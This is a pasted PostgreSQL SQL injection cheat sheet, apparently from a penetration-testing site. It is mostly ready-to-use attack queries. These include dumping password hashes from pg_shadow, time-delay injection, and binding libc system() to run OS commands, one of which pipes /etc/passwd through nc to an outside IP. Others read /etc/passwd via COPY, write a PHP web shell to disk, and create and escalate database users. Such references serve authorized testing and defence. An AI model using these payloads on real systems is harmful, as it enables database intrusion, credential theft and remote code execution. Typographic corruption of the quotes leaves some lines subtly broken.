Pasted

Version 
SELECT version()
 
Comments    
SELECT 1; –comment
SELECT /*comment*/1;
 
Current User    
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
 
List Users  
SELECT usename FROM pg_user
 
List Password Hashes    
SELECT usename, passwd FROM pg_shadow — priv
 
Password Cracker    
MDCrack can crack PostgreSQL’s MD5-based passwords.
 
List Privileges 
SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
 
List DBA Accounts   
SELECT usename FROM pg_user WHERE usesuper IS TRUE
 
Current Database    
SELECT current_database()
 
List Databases  
SELECT datname FROM pg_database
 
List Columns    
SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’)
 
List Tables SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid)
 
Find Tables From Column Name    
If you want to list all the table names that contain a column LIKE ‘%password%’:SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) AND attname LIKE ‘%password%’;
 
Select Nth Row  
SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; — rows numbered from 0
SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1;
Select Nth Char SELECT substr(‘abcd’, 3, 1); — returns c
 
Bitwise AND 
SELECT 6 & 2; — returns 2
SELECT 6 & 1; –returns 0
 
ASCII Value -> Char 
SELECT chr(65);
 
Char -> ASCII Value 
SELECT ascii(‘A’);
 
Casting 
SELECT CAST(1 as varchar);
SELECT CAST(’1′ as int);
 
String Concatenation    
SELECT ‘A’ || ‘B’; — returnsAB
 
If Statement    
IF statements only seem valid inside functions, so aren’t much use for SQL injection.  See CASE statement instead.
Case Statement  SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; — returns A
 
Avoiding Quotes 
SELECT CHR(65)||CHR(66); — returns AB
 
Time Delay  
SELECT pg_sleep(10); — postgres 8.2+ only
CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS ‘/lib/libc.so.6′, ‘sleep’ language ‘C’ STRICT; SELECT sleep(10); –priv, create your own sleep function.  Taken from here .
 
Make DNS Requests   
Generally not possible in postgres.  However if contrib/dblinkis installed (it isn’t by default) it can be used to resolve hostnames (assuming you have DBA rights):
SELECT * FROM dblink('host=put.your.hostname.here user=someuser  dbname=somedb', 'SELECT version()') RETURNS (result TEXT);
Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. “ping pentestmonkey.net”.
 
Command Execution   
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT; — privSELECT system(‘cat /etc/passwd | nc 10.0.0.1 8080′); — priv, commands run as postgres/pgsql OS-level user
 
Local File Access   
CREATE TABLE mydata(t text);
COPY mydata FROM ‘/etc/passwd’; — priv, can read files which are readable by postgres OS-level user
…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; — get data back one row at a time
…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; — get data back one row at a time …
DROP TABLE mytest mytest;Write to a file:
CREATE TABLE mytable (mycol text);
INSERT INTO mytable(mycol) VALUES (‘<? pasthru($_GET[cmd]); ?>’);
COPY mytable (mycol) TO ‘/tmp/test.php’; –priv, write files as postgres OS-level user.  Generally you won’t be able to write to the web root, but it’s always work a try.
– priv user can also read/write files by mapping libc functions
 
Hostname, IP Address    
SELECT inet_server_addr(); — returns db server IP address (or null if using local connection)
SELECT inet_server_port(); — returns db server IP address (or null if using local connection)
 
Create Users    
CREATE USER test1 PASSWORD ‘pass1′; — priv
CREATE USER test1 PASSWORD ‘pass1′ CREATEUSER; — priv, grant some privs at the same time
 
Drop Users  
DROP USER test1; — priv
 
Make User DBA   
ALTER USER test1 CREATEUSER CREATEDB; — priv
 
Location of DB files    SELECT current_setting(‘data_directory’); — priv
SELECT current_setting(‘hba_file’); — priv
 
Default/System Databases    
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